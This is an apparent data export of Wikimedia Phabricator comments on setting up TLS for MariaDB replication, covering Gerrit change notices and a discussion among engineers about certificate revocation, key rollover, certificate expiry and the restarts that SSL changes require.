[[https://gerrit.wikimedia.org/r/288420]]",,,1463592192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.8636363636363638,0.8636363636363636,"Change 288420 merged by Volans:
MariaDB: remove special SSL option multiple-ca

[[GERRIT_URL]]"
662810,Set up TLS for MariaDB replication,"Change 288419 merged by Volans:
Remove temporary certificate with both CAs

[[https://gerrit.wikimedia.org/r/288419]]",,,1463404793,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.2631578947368425,0.8947368421052632,"Change 288419 merged by Volans:
Remove temporary certificate with both CAs

[[GERRIT_URL]]"
661181,Set up TLS for MariaDB replication,"Change 288420 had a related patch set uploaded (by Volans):
MariaDB: remove special SSL option multiple-ca

[[https://gerrit.wikimedia.org/r/288420]]
",,,1463069135,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7586206896551726,0.896551724137931,"Change 288420 had a related patch set uploaded (by Volans):
MariaDB: remove special SSL option multiple-ca

[[GERRIT_URL]]
"
661178,Set up TLS for MariaDB replication,"Change 288419 had a related patch set uploaded (by Volans):
Remove temporary certificate with both CAs

[[https://gerrit.wikimedia.org/r/288419]]
",,,1463069032,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.038461538461538,0.8846153846153846,"Change 288419 had a related patch set uploaded (by Volans):
Remove temporary certificate with both CAs

[[GERRIT_URL]]
"
660906,Set up TLS for MariaDB replication,"Change 288205 merged by Volans:
MariaDB: Change mariadb::core parameters

[[https://gerrit.wikimedia.org/r/288205]]",,,1463041955,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,45,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.5,0.7777777777777778,"Change 288205 merged by Volans:
MariaDB: Change mariadb::core parameters

[[GERRIT_URL]]"
660316,Set up TLS for MariaDB replication,"Change 288205 had a related patch set uploaded (by Volans):
MariaDB: Change default ssl mode to puppet-cert

[[https://gerrit.wikimedia.org/r/288205]]
",,,1462976491,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.6333333333333333,0.8666666666666667,"Change 288205 had a related patch set uploaded (by Volans):
MariaDB: Change default ssl mode to puppet-cert

[[GERRIT_URL]]
"
657795,Set up TLS for MariaDB replication,"Change 247542 abandoned by Jcrespo:
[WIP] Script to generate openssh TLS keys for mysql replication

[[https://gerrit.wikimedia.org/r/247542]]",,,1462551341,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.08,0.84,"Change 247542 abandoned by Jcrespo:
[WIP] Script to generate openssh TLS keys for mysql replication

[[GERRIT_URL]]"
657486,Set up TLS for MariaDB replication,">>! In T111654#2266901, @faidon wrote:
> To keep such a security feature effective and have this be a real protection against snooping, rather than just security theater, we should do our best to protect ourselves from both cryptographic and software vulnerabilities. The fact that this is an internal service and TLS isn't used for authn/z protects us from some classes of said vulnerabilities, but, unfortunately, not most.

I agree, as said above I'll stick for my answer only to MySQL replication, not clients connections. As a disclaimer I'm surely not expert in cryptography, hence correct me if I'm wrong.
 
> This includes, but is not limited to:
> - Revocation of a certificate in case of a host's private key compromise (or suspicion of that). This can happen for whatever reason, such as: a heap overflow in the MySQL protocol (as the key is in the MySQL memory space); an OpenSSL protocol vulnerability, like Heartbleed; a sysadmin error (pasting a key in cleartext); a malicious action by a rogue sysadmin.

In this case we will probably re-image the host itself. Regarding the usage it's certificate it will be able to create a TLS connection to other MySQL servers if it is in possession also of valid credentials, but AFAIK will not be able to decrypt any traffic between any other MySQL server, the certificates are one per host.

> - Revocation of multiple/all certificates due to a CA private key compromise or a fleet-wise compromise: this can happen for many of the same reasons as above, but includes a widened attack surface (e.g. puppet, salt)

This will be an emergency situation, see my comment on this case scenario at the bottom.

> - Key rollovers due to cryptographic concerns. Example: 1024-bits RSA is considered by many broken at this point. Many of our hosts (including some of the databases….) use such a weak key.

Absolutely agree, I actually thought they were all already replaced with 4k ones given the concerns on performances that everyone had, my bad to not have checked their size on all hosts. The solution is the same of the next point.

> - Short-ish expiry times in issued certificates, to protect against clients not performing CRL/OCSP revocation checks (MySQL is among them). Some pieces of software (like Vault) are recommending certificates as short as 24h, which is completely unrealistic right now; I'd be happy with 1-year expiry. The 5 year expiry that puppet (and hence databases) has is definitely outside the margins of safety, IMHO. (puppet does perform CRL checking, though)

This is the most challenging to solve without changes in MySQL code IMHO.

> - Restarts due to library vulnerabilities that can weaken security due to either a cryptographic implementation vulnerability, a protocol/cipher vulnerability or a vulnerability in different parts of the system (e.g. libc) that can expose sensitive memory contents. OpenSSL has had tons of both implementation and protocol updates in the past few years.

If it's a very bad vulnerability will be an emergency situation, see my comment on this case scenario at the bottom. If instead is a less critical one fall back into the previous point and is actually more challenging. 

> I realize that addressing /any/ of the above is not straightforward and currently very challenging. I understand at least some of the reasons for that.
> 
> Having such a process be a one year endeavour is simply not acceptable, though. Therefore, it'd be great if the DBA team made this a priority and worked on ways to reduce such a turn-around time to comfortable levels (~the ones that we have for the rest of our infrastructure).
> 
> Without giving it too much though, I think the initial goal would be to be able to perform key rollovers (and possibly server restarts) with a short notice (~a day) and in a short timeframe (~less than a week), without a user-impacting outage. Our first iteration could potentially include read-only time, as this is a measure that affects our editors, but is something that we can endure in the case of an emergency. (@MoritzMuehlenhoff may have an opinion on those requirements as well) 
> 
> Is this something that we can agree to work on?
> 
> (by the way, thanks for your elaborate response @Volans)

With the current MySQL implementation key rollover or server restart are almost the same from the operational point of view. Once we need to stop MySQL to rotate the keys, performing also a reboot adds just the time of the reboot and the risk it doesn't reboot at all (like db1058).

I think we should split the emergency situations from the normal rolling restart of servers:
- **Emergency situation**: critical situations call for drastic measures, and in our current status I think that the quickest and operationally easiest way to achieve that for the most critical clusters would be to fix codfw and then switchover. Being a passive datacenter we could batch restart pretty quickly and wait for the buffer pools to replenish.
- **Normal rolling restart**: much more challenging because it requires much more time to do them one by one. The way to go here is to be able to simplify and then automate this process as much as possible. In order to do that we would need at least:
 - ability to depool/pool and change MW role to a DB dynamically without requiring to commit into mediawiki-config and sync-file. There is a problem here for long running jobs. [already in the longterm plan]
 - enough capacity to allow to depool 2 servers per shard for core DBs to be able to do the fleet in a timely manner.
 - be able to failover the masters without downtime, with some sort of multi-master solution [see T119626 for example]
 - a plan for clusters with reduced redundancy and special roles (many misc, sanitarium, dbstores, labsdb, tool labs, parsercache). [less critical but more challenging]

",,,1462493810,,PHID-USER-qbtoxfmd3v2vpn7foso2,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,44,True,1.6666666666666667,0.16666666666666666,0.3333333333333333,0.0,0.8333333333333334,7.833333333333333,2.6666666666666665,0.16666666666666666,0.0,0.6666666666666666,2.3333333333333335,0.6666666666666666,0.0,0.3333333333333333,0.16666666666666666,3.0,0.16666666666666666,7.5,13.666666666666666,0.16666666666666666,3.5,0.16666666666666666,0.0,0.0,0.6666666666666666,0.16666666666666666,0.0,0.16666666666666666,0.16666666666666666,1.3333333333333333,0.0,3.6666666666666665,1.1666666666666667,1.1666666666666667,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.16666666666666666,2.8333333333333335,0.0,0.8333333333333334,0.0,0.0,0.16666666666666666,17.333333333333332,0.3333333333333333,1.1666666666666667,0.0,1.1666666666666667,0.16666666666666666,0.0,0.0,0.16666666666666666,0.5,0.5,0.5,0.5,0.16666666666666666,0.3333333333333333,0.16666666666666666,0.0,0.0,6.5,3.1666666666666665,9.0,1.3333333333333333,2.1666666666666665,8.5,0.0,0.0,0.0,0.0,7.166666666666667,0.0,1.3333333333333333,0.0,4.666666666666667,13.666666666666666,2.6666666666666665,0.0,0.0,0.0,4.666666666666667,0.0,0.16666666666666666,2.0,0.5,0.6666666666666666,1.0,0.8333333333333334,0.5,3.993232323232323,0.7012962962962964,"QUOTE
QUOTE

I agree, as said above I'll stick for my answer only to MySQL replication, not clients connections. As a disclaimer I'm surely not expert in cryptography, hence correct me if I'm wrong.
 
QUOTE
QUOTE

In this case we will probably re-image the host itself. Regarding the usage it's certificate it will be able to create a TLS connection to other MySQL servers if it is in possession also of valid credentials, but AFAIK will not be able to decrypt any traffic between any other MySQL server, the certificates are one per host.

QUOTE

This will be an emergency situation, see my comment on this case scenario at the bottom.

QUOTE

Absolutely agree, I actually thought they were all already replaced with 4k ones given the concerns on performances that everyone had, my bad to not have checked their size on all hosts. The solution is the same of the next point.

QUOTE

This is the most challenging to solve without changes in MySQL code IMHO.

QUOTE

If it's a very bad vulnerability will be an emergency situation, see my comment on this case scenario at the bottom. If instead is a less critical one fall back into the previous point and is actually more challenging. 

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

With the current MySQL implementation key rollover or server restart are almost the same from the operational point of view. Once we need to stop MySQL to rotate the keys, performing also a reboot adds just the time of the reboot and the risk it doesn't reboot at all (like db1058).

I think we should split the emergency situations from the normal rolling restart of servers:
- **Emergency situation**: critical situations call for drastic measures, and in our current status I think that the quickest and operationally easiest way to achieve that for the most critical clusters would be to fix codfw and then switchover. Being a passive datacenter we could batch restart pretty quickly and wait for the buffer pools to replenish.
- **Normal rolling restart**: much more challenging because it requires much more time to do them one by one. The way to go here is to be able to simplify and then automate this process as much as possible. In order to do that we would need at least:
 - ability to depool/pool and change MW role to a DB dynamically without requiring to commit into mediawiki-config and sync-file. There is a problem here for long running jobs. [already in the longterm plan]
 - enough capacity to allow to depool 2 servers per shard for core DBs to be able to do the fleet in a timely manner.
 - be able to failover the masters without downtime, with some sort of multi-master solution [see T119626 for example]
 - a plan for clusters with reduced redundancy and special roles (many misc, sanitarium, dbstores, labsdb, tool labs, parsercache). [less critical but more challenging]

"
657092,Set up TLS for MariaDB replication,">>! In T111654#2249183, @Volans wrote:
> @faidon, given that:
> - MySQL is (and should remain IMHO) an internal service only
> - hence we are in physical control of all the servers and the clients
> - we are not using the SSL/TLS certificates for any form of authentication/authorization
> what practical concerns do you have?

We are using TLS to encrypt traffic, because we have perceived attack scenarios during which plaintext bitstreams may be captured and analyzed by an adversary, especially (but not limited to) packets travelling over our WAN.

To keep such a security feature effective and have this be a real protection against snooping, rather than just security theater, we should do our best to protect ourselves from both cryptographic and software vulnerabilities. The fact that this is an internal service and TLS isn't used for authn/z protects us from some classes of said vulnerabilities, but, unfortunately, not most.

This includes, but is not limited to:
- Revocation of a certificate in case of a host's private key compromise (or suspicion of that). This can happen for whatever reason, such as: a heap overflow in the MySQL protocol (as the key is in the MySQL memory space); an OpenSSL protocol vulnerability, like Heartbleed; a sysadmin error (pasting a key in cleartext); a malicious action by a rogue sysadmin.
- Revocation of multiple/all certificates due to a CA private key compromise or a fleet-wise compromise: this can happen for many of the same reasons as above, but includes a widened attack surface (e.g. puppet, salt)
- Key rollovers due to cryptographic concerns. Example: 1024-bits RSA is considered by many broken at this point. Many of our hosts (including some of the databases….) use such a weak key.
- Short-ish expiry times in issued certificates, to protect against clients not performing CRL/OCSP revocation checks (MySQL is among them). Some pieces of software (like Vault) are recommending certificates as short as 24h, which is completely unrealistic right now; I'd be happy with 1-year expiry. The 5 year expirty that puppet (and hence databases) has is definitely outside the margins of safety, IMHO. (puppet does perform CRL checking, though)
- Restarts due to library vulnerabilities that can weaken security due to either a cryptographic implementation vulnerability, a protocol/cipher vulnerability or a vulnerability in different parts of the system (e.g. libc) that can expose sensitive memory contents. OpenSSL has had tons of both implementation and protocol updates in the past few years.

I realize that addressing /any/ of the above is not straightforward andcurrently very challenging. I understand at least some of the reasons for that.

Having such a process be a one year endeavour is simply not acceptable, though. Therefore, it'd be great if the DBA team made this a priority and worked on ways to reduce such a turn-around time to comfortable levels (~the ones that we have for the rest of our infrastructure).

Without giving it too much though, I think the initial goal would be to be able to perform key rollovers (and possibly server restarts) with a short notice (~a day) and in a short timeframe (~less than a week), without a user-impacting outage. Our first iteration could potentially include read-only time, as this is a measure that affects our editors, but is something that we can endure in the case of an emergency. (@MoritzMuehlenhoff may have an opinion on those requirements as well) 

Is this something that we can agree to work on?

(by the way, thanks for your elaborate response @Volans)",,,1462449176,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,44,True,1.4285714285714286,0.2857142857142857,0.2857142857142857,0.5714285714285714,1.0,7.142857142857143,2.0,0.14285714285714285,0.42857142857142855,0.14285714285714285,3.0,0.42857142857142855,0.0,0.14285714285714285,0.0,2.5714285714285716,0.5714285714285714,4.857142857142857,12.428571428571429,0.2857142857142857,1.1428571428571428,0.14285714285714285,0.0,0.0,0.2857142857142857,0.2857142857142857,0.14285714285714285,0.5714285714285714,1.2857142857142858,0.42857142857142855,0.14285714285714285,3.857142857142857,1.5714285714285714,0.2857142857142857,0.2857142857142857,0.14285714285714285,0.0,0.14285714285714285,0.5714285714285714,0.2857142857142857,0.0,0.14285714285714285,0.14285714285714285,2.142857142857143,0.2857142857142857,0.42857142857142855,0.2857142857142857,0.2857142857142857,0.0,16.428571428571427,1.4285714285714286,1.0,0.2857142857142857,1.0,0.0,0.0,0.0,0.2857142857142857,0.42857142857142855,0.2857142857142857,0.14285714285714285,0.42857142857142855,0.0,0.2857142857142857,0.2857142857142857,0.2857142857142857,0.0,6.714285714285714,3.142857142857143,6.571428571428571,0.5714285714285714,2.5714285714285716,10.571428571428571,0.0,0.0,0.0,0.0,3.857142857142857,0.0,0.5714285714285714,0.0,3.142857142857143,12.428571428571429,3.5714285714285716,0.14285714285714285,0.0,0.14285714285714285,3.142857142857143,0.0,1.4285714285714286,4.285714285714286,0.42857142857142855,1.5714285714285714,0.0,0.42857142857142855,0.0,4.163173558897244,0.7286654135338344,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We are using TLS to encrypt traffic, because we have perceived attack scenarios during which plaintext bitstreams may be captured and analyzed by an adversary, especially (but not limited to) packets travelling over our WAN.

To keep such a security feature effective and have this be a real protection against snooping, rather than just security theater, we should do our best to protect ourselves from both cryptographic and software vulnerabilities. The fact that this is an internal service and TLS isn't used for authn/z protects us from some classes of said vulnerabilities, but, unfortunately, not most.

This includes, but is not limited to:
- Revocation of a certificate in case of a host's private key compromise (or suspicion of that). This can happen for whatever reason, such as: a heap overflow in the MySQL protocol (as the key is in the MySQL memory space); an OpenSSL protocol vulnerability, like Heartbleed; a sysadmin error (pasting a key in cleartext); a malicious action by a rogue sysadmin.
- Revocation of multiple/all certificates due to a CA private key compromise or a fleet-wise compromise: this can happen for many of the same reasons as above, but includes a widened attack surface (e.g. puppet, salt)
- Key rollovers due to cryptographic concerns. Example: 1024-bits RSA is considered by many broken at this point. Many of our hosts (including some of the databases….) use such a weak key.
- Short-ish expiry times in issued certificates, to protect against clients not performing CRL/OCSP revocation checks (MySQL is among them). Some pieces of software (like Vault) are recommending certificates as short as 24h, which is completely unrealistic right now; I'd be happy with 1-year expiry. The 5 year expirty that puppet (and hence databases) has is definitely outside the margins of safety, IMHO. (puppet does perform CRL checking, though)
- Restarts due to library vulnerabilities that can weaken security due to either a cryptographic implementation vulnerability, a protocol/cipher vulnerability or a vulnerability in different parts of the system (e.g. libc) that can expose sensitive memory contents. OpenSSL has had tons of both implementation and protocol updates in the past few years.

I realize that addressing /any/ of the above is not straightforward andcurrently very challenging. I understand at least some of the reasons for that.

Having such a process be a one year endeavour is simply not acceptable, though. Therefore, it'd be great if the DBA team made this a priority and worked on ways to reduce such a turn-around time to comfortable levels (~the ones that we have for the rest of our infrastructure).

Without giving it too much though, I think the initial goal would be to be able to perform key rollovers (and possibly server restarts) with a short notice (~a day) and in a short timeframe (~less than a week), without a user-impacting outage. Our first iteration could potentially include read-only time, as this is a measure that affects our editors, but is something that we can endure in the case of an emergency. (@MoritzMuehlenhoff may have an opinion on those requirements as well) 

Is this something that we can agree to work on?

(by the way, thanks for your elaborate responseSCREEN_NAME)"
654017,Set up TLS for MariaDB replication,"A bit offtopic, but Re:
> right now requires RO on MediaWiki, the procedure can surely be improved

I think something along the lines of ""master-master"" (galera?) with a fast connection failover (proxy?) + GTIDs could solve that and eliminate the SPOF, which is essentially T119626",,,1461924816,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,14.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,8.0,6.0,4.0,4.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,3.693877551020408,0.8571428571428571,"A bit offtopic, but Re:
QUOTE

I think something along the lines of ""master-master"" (galera?) with a fast connection failover (proxy?) + GTIDs could solve that and eliminate the SPOF, which is essentially T119626"
653663,Set up TLS for MariaDB replication,"> Because the ""easier"" way that I see to achieve a ""light"" certificate replacement for MySQL is to contribute upstream implementing the feature.

Actually, that was my point, sponsor that feature at some vendor (or hire a C developer for 6 months).",,,1461865935,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5,0.9230769230769231,"QUOTE

Actually, that was my point, sponsor that feature at some vendor (or hire a C developer for 6 months)."
653662,Set up TLS for MariaDB replication,"The problem here is that MySQL/MariaDB support of SSL/TLS is still pretty simple:
- all SSL related stuff are loaded at startup only, there is no dynamic way to reload a new certificate, CA or revocation list
- as of now any change to SSL configuration on the server side requires a MySQL restart
- to restart a master we need to failover to another master (right now requires RO on MediaWiki, the procedure can surely be improved)
- even to restart a slave we need up to ~7hours before being able to repool it with it's original weight (time to load the buffer pool on new servers with larger RAM, see https://jira.mariadb.org/browse/MDEV-9930 )

The only exception is how a slave connects to a master for replication, because in that case it acts as a client and for that specific connection you can change all SSL parameters just stopping and restarting the replication thread. Of course those needs to match the ones of it's master (that needs to be restarted to change them, back in the loop).

@faidon, given that:
- MySQL is (and should remain IMHO) an internal service only
- hence we are in physical control of all the servers and the clients
- we are not using the SSL/TLS certificates for any form of authentication/authorization
what practical concerns do you have?

Because the ""easier"" way that I see to achieve a ""light"" certificate replacement for MySQL is to contribute upstream implementing the feature.
Even having some intermediate layer (proxy, MaxScale, etc..) that does TLS termination and then have another TLS connection to the MySQL servers will not solve the issue, just narrow it down to the backend connection only with a low and fixed number of clients.

(my 2 cents)",,,1461865767,,PHID-USER-qbtoxfmd3v2vpn7foso2,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,43,True,1.5,0.0,0.0,0.75,0.5,5.0,1.25,0.5,0.0,0.0,1.5,0.0,0.0,1.0,0.25,1.5,0.5,5.75,11.75,0.0,2.75,0.25,0.0,0.0,0.0,0.25,0.0,0.25,0.5,0.25,0.0,5.5,0.5,1.25,0.0,0.5,0.0,0.0,0.0,0.5,0.25,0.25,0.5,3.25,0.0,0.25,0.25,0.0,0.0,13.0,1.0,0.75,0.25,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.25,0.75,0.0,0.0,0.25,0.0,0.0,6.75,3.0,7.5,1.0,1.75,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,3.5,11.75,4.75,0.25,1.25,0.0,3.5,0.0,1.25,2.5,0.25,1.25,0.5,0.0,0.25,3.9628396029258095,0.7450692267502612,"The problem here is that MySQL/MariaDB support of SSL/TLS is still pretty simple:
- all SSL related stuff are loaded at startup only, there is no dynamic way to reload a new certificate, CA or revocation list
- as of now any change to SSL configuration on the server side requires a MySQL restart
- to restart a master we need to failover to another master (right now requires RO on MediaWiki, the procedure can surely be improved)
- even to restart a slave we need up to ~7hours before being able to repool it with it's original weight (time to load the buffer pool on new servers with larger RAM, see URL )

The only exception is how a slave connects to a master for replication, because in that case it acts as a client and for that specific connection you can change all SSL parameters just stopping and restarting the replication thread. Of course those needs to match the ones of it's master (that needs to be restarted to change them, back in the loop).
SCREEN_NAME, given that:
- MySQL is (and should remain IMHO) an internal service only
- hence we are in physical control of all the servers and the clients
- we are not using the SSL/TLS certificates for any form of authentication/authorization
what practical concerns do you have?

Because the ""easier"" way that I see to achieve a ""light"" certificate replacement for MySQL is to contribute upstream implementing the feature.
Even having some intermediate layer (proxy, MaxScale, etc..) that does TLS termination and then have another TLS connection to the MySQL servers will not solve the issue, just narrow it down to the backend connection only with a low and fixed number of clients.

(my 2 cents)"
653637,Set up TLS for MariaDB replication,"> we should definitely be prepared to do certificate replacements ""lightly""

I will ask for a budget to several vendors to implement this functionality, (or should we prefer to implement it in-house?)",,,1461863890,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,43,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,17.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,10.0,17.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.793103448275862,0.896551724137931,"QUOTE

I will ask for a budget to several vendors to implement this functionality, (or should we prefer to implement it in-house?)"
653623,Set up TLS for MariaDB replication,">>! In T111654#2249010, @jcrespo wrote:
> Changing the cert would be blocked by doing another failover, as it would require another full restart and would stop replication from working (it cannot be done in a hot way). Not something to take lightly.

We want to change the puppet CA anyway, as this is presenting problems elsewhere as well (including on the puppet infrastructure itself) — so this will happen at some point, hopefully not too far off. Eventually we'd like to replace it with a proper PKI system, but that's a longer way off.

